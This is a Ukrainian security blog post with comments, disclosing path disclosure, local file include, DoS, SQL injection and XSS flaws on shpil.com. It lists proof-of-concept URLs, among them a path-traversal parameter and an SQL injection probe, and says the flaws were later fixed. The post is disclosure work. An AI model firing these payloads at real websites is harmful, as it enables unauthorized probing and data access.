Уразливості на www.shpil.com

19:20 17.02.2010

17.09.2009

У січні, 24.01.2009, я знайшов Full path disclosure, Local File Include, Denial of Service, SQL Injection та Cross-Site Scripting уразливості на сайті http://www.shpil.com. Про що найближчим часом сповіщу адміністрацію сайта.

Стосовно сайтів видавництва Коміздат останній раз я писав про уразливості на www.computerworld.com.ua.

Детальна інформація про уразливості з’явиться пізніше.

17.02.2010

Full path disclosure:

http://www.shpil.com/?in=’

http://www.shpil.com/?in=sp_th&_ID=’

Local File Include:

http://www.shpil.com/?in=../1

DoS (Recursive File Include):

http://www.shpil.com/?in=index

SQL Injection:

http://www.shpil.com/?in=sp_th&_ID=1%20and%20version()%3E4

XSS:

Дані уразливості вже виправлені (змінили движок).


2 відповідей на “Уразливості на www.shpil.com”

  1. BondD каже:

    Спасибо за предупреждение. Информации об этих брешах в безопасности сайта раньше не получал. В ближайшее время исправим.
    Если есть более подробная информация и не жалко ей поделиться - пишите на мой е-мейл.

  2. MustLive каже:

    BondD

    Всегда пожалуйста.

    Информации об этих брешах в безопасности сайта раньше не получал.

    О наличии уязвимостей на сайтах Комиздата, в том числе и на shpil.com (использующих один и тот же движок), я говорил Андрею Бойко ещё в январе 2009, когда сообщил ему детали уязвимостей на comizdat.com і computerworld.com.ua.

    Т.к. безопасностью сайта Шпиля ни до этого особо не занимались, что видно по дырам, ни после моего письма Андрею, с января ничего не изменилось, то я вначале разместил уведомление на самом сайте Шпиля. И лишь сегодня выслал детали уязвимостей админам сайта shpil.com (на емайл указанный в контактах). Данное письмо я уже переслал вам на емайл.

Leave a Reply

You must be logged in to post a comment.